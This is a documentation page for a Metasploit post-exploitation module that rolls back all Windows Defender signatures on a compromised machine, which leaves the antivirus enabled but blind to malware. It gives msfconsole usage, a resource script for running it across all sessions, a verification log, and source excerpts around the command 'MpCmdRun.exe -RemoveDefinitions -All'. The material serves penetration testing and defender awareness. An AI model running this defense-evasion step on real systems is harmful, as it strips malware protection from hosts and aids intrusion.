Disable Windows Defender Signatures - Metasploit
This page contains detailed information about how to use the post/windows/manage/rollback_defender_signatures metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Disable Windows Defender Signatures
Module: post/windows/manage/rollback_defender_signatures
Source code: modules/post/windows/manage/rollback_defender_signatures.rb
Disclosure date: -
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -
This module with appropriate rights let to use the Windows Defender command-line utility a run and automation tool (mpcmdrun.exe) in order to disable all the signatures available installed for the compromised machine. The tool is prominently used for scheduling scans and updating the signature or definition files, but there is a switch created to restore the installed signature definitions to a previous backup copy or to the original default set of signatures which is none, disabling all the signatures and allowing malware to execute even with the Windows Defender solution enabled.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
There are two ways to execute this post module.
From the Meterpreter prompt
The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:
meterpreter > run post/windows/manage/rollback_defender_signatures
From the msf prompt
The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.
msf > use post/windows/manage/rollback_defender_signatures
msf post(rollback_defender_signatures) > show options
... show and set options ...
msf post(rollback_defender_signatures) > set SESSION session-id
msf post(rollback_defender_signatures) > exploit
If you wish to run the post against all sessions from framework, here is how:
1 - Create the following resource script:
framework.sessions.each_pair do |sid, session|
run_single("use post/windows/manage/rollback_defender_signatures")
run_single("set SESSION #{sid}")
run_single("run")
end
2 - At the msf prompt, execute the above resource script:
msf > resource path-to-resource-script
Required Options
- SESSION: The session to run this module on.
Knowledge Base
This module requires system privs
This module rolls back the signatures in windows defender to the
earliest signatures. The level of protection is somewhat indeterminate.
This action is accomplished by running the command:
MpCmdRun.exe -RemoveDefinitions -All
To recover, you can run
MpCmdRun.exe -UpdateSignatures
That will force defender to update the signatures to the latest version
from
Vulnerable Applications
Windows defender is the target, though this is a feature
Verification Steps
msf5 post(windows/manage/rollback_defender_signatures) > sessions -i -1
[*] Starting interaction with 3...
meterpreter > sysinfo
Computer : WIN-5ADJK2NT7IJ
OS : Windows 7 (Build 7600).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > background
[*] Backgrounding session 3...
msf5 post(windows/manage/rollback_defender_signatures) > show options
Module options (post/windows/manage/rollback_defender_signatures):
Name Current Setting Required Description
---- --------------- -------- -----------
ACTION Update yes Action to perform (Update/Rollback) (Accepted: Rollback, Update)
SESSION 3 yes The session to run this module on.
msf5 post(windows/manage/rollback_defender_signatures) > set action rollback
action => rollback
msf5 post(windows/manage/rollback_defender_signatures) > set verbose true
verbose => true
msf5 post(windows/manage/rollback_defender_signatures) > show options
Module options (post/windows/manage/rollback_defender_signatures):
Name Current Setting Required Description
---- --------------- -------- -----------
ACTION rollback yes Action to perform (Update/Rollback) (Accepted: rollback, update)
SESSION 3 yes The session to run this module on.
msf5 post(windows/manage/rollback_defender_signatures) > run
[*] program_path = C:\Program Files
[*] file_path = C:\Program Files\Windows Defender\MpCmdRun.exe
[*] Removing All Definitions for Windows Defender
[*] rollback
[*] Running cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
[*]
Service Version: 6.1.7600.16385
Engine Version: 1.1.15400.5
AntiSpyware Signature Version: 1.281.1013.0e[*] Post module execution completed
### Options
Module options (post/windows/manage/rollback_defender_signatures):
Name Current Setting Required Description
---- --------------- -------- -----------
ACTION rollback yes Action to perform (Update/Rollback) (Accepted: rollback, update)
SESSION 3 yes The session to run this module on.
Session is standard
ACTION is what you would like to do. Rollback rolls the definitions
back to the original, update updates the signatures. In theory, on
a normal system, rollback will push to old definitions, and update will
return the definitions.
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Msfconsole Usage
Here is how the windows/manage/rollback_defender_signatures post exploitation module looks in the msfconsole:
msf6 > use post/windows/manage/rollback_defender_signatures
msf6 post(windows/manage/rollback_defender_signatures) > show info
Name: Disable Windows Defender Signatures
Module: post/windows/manage/rollback_defender_signatures
Platform: Windows
Arch:
Rank: Normal
Provided by:
metasploit <metasploit@@csiete.org>
luisco100 <[email protected]>
Compatible session types:
Meterpreter
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
ACTION Rollback yes Action to perform (Update/Rollback) (Accepted: rollback, update)
SESSION yes The session to run this module on.
Description:
This module with appropriate rights let to use the Windows Defender
command-line utility a run and automation tool (mpcmdrun.exe) in
order to disable all the signatures available installed for the
compromised machine. The tool is prominently used for scheduling
scans and updating the signature or definition files, but there is a
switch created to restore the installed signature definitions to a
previous backup copy or to the original default set of signatures
which is none, disabling all the signatures and allowing malware to
execute even with the Windows Defender solution enabled.
Module Options
This is a complete list of options available in the windows/manage/rollback_defender_signatures post exploitation module:
msf6 post(windows/manage/rollback_defender_signatures) > show options
Module options (post/windows/manage/rollback_defender_signatures):
Name Current Setting Required Description
---- --------------- -------- -----------
ACTION Rollback yes Action to perform (Update/Rollback) (Accepted: rollback, update)
SESSION yes The session to run this module on.
Advanced Options
Here is a complete list of advanced options supported by the windows/manage/rollback_defender_signatures post exploitation module:
msf6 post(windows/manage/rollback_defender_signatures) > show advanced
Module advanced options (post/windows/manage/rollback_defender_signatures):
Name Current Setting Required Description
---- --------------- -------- -----------
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Post Actions
This is a list of all post exploitation actions which the windows/manage/rollback_defender_signatures module can do:
msf6 post(windows/manage/rollback_defender_signatures) > show actions
Post actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the windows/manage/rollback_defender_signatures post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 post(windows/manage/rollback_defender_signatures) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
You must be System to run this Module
Here is a relevant code snippet related to the "You must be System to run this Module" error message:
38: end
39:
40: def run
41: # Are we system?
42: if not is_system?()
43: fail_with(Failure::NoAccess, "You must be System to run this Module")
44: end
45: # Is the binary there?
46: program_path = session.sys.config.getenv('ProgramFiles')
47: vprint_status("program_path = #{program_path}")
48: file_path = program_path + '\Windows Defender\MpCmdRun.exe'
<FILE_PATH> is not Present
Here is a relevant code snippet related to the "<FILE_PATH> is not Present" error message:
46: program_path = session.sys.config.getenv('ProgramFiles')
47: vprint_status("program_path = #{program_path}")
48: file_path = program_path + '\Windows Defender\MpCmdRun.exe'
49: vprint_status("file_path = #{file_path}")
50: if not exist?(file_path)
51: fail_with(Failure::NoAccess, "#{file_path} is not Present")
52: end
53: # Is defender even enabled?
54: defender_disable_key = "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender"
55: disable_key_value = meterpreter_registry_getvalinfo(defender_disable_key, "DisableAntiSpyware", REGISTRY_VIEW_NATIVE)
56: if disable_key_value.nil? || disable_key_value != 1
Defender is not Enabled
Here is a relevant code snippet related to the "Defender is not Enabled" error message:
65: output = cmd_exec(cmd)
66: if output.include?('denied')
67: print_bad("#{output}")
68: else
69: print_status("#{output}")
70: end
71: else
72: fail_with(Failure::BadConfig, "Defender is not Enabled")
73: end
74: end
75: end
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Related Pull Requests
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See Also
Check also the following modules related to this module:
- post/windows/manage/add_user
- post/windows/manage/archmigrate
- post/windows/manage/change_password
- post/windows/manage/clone_proxy_settings
- post/windows/manage/delete_user
- post/windows/manage/dell_memory_protect
- post/windows/manage/download_exec
- post/windows/manage/driver_loader
- post/windows/manage/enable_rdp
- post/windows/manage/enable_support_account
- post/windows/manage/exec_powershell
- post/windows/manage/execute_dotnet_assembly
- post/windows/manage/forward_pageant
- post/windows/manage/hashcarve
- post/windows/manage/ie_proxypac
- post/windows/manage/inject_ca
- post/windows/manage/inject_host
- post/windows/manage/install_python
- post/windows/manage/install_ssh
- post/windows/manage/killav
- post/windows/manage/migrate
- post/windows/manage/mssql_local_auth_bypass
- post/windows/manage/multi_meterpreter_inject
- post/windows/manage/nbd_server
- post/windows/manage/peinjector
- post/windows/manage/persistence_exe
- post/windows/manage/portproxy
- post/windows/manage/pptp_tunnel
- post/windows/manage/priv_migrate
- post/windows/manage/pxeexploit
- post/windows/manage/reflective_dll_inject
- post/windows/manage/remove_ca
- post/windows/manage/remove_host
- post/windows/manage/rid_hijack
- post/windows/manage/rpcapd_start
- post/windows/manage/run_as
- post/windows/manage/run_as_psh
- post/windows/manage/sdel
- post/windows/manage/shellcode_inject
- post/windows/manage/sshkey_persistence
- post/windows/manage/sticky_keys
- post/windows/manage/vmdk_mount
- post/windows/manage/vss
- post/windows/manage/vss_create
- post/windows/manage/vss_list
- post/windows/manage/vss_mount
- post/windows/manage/vss_set_storage
- post/windows/manage/vss_storage
- post/windows/manage/wdigest_caching
- post/windows/manage/webcam
Authors
- metasploit@[at]csiete.org
- luisco100 <luisco100[at]gmail.com>
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
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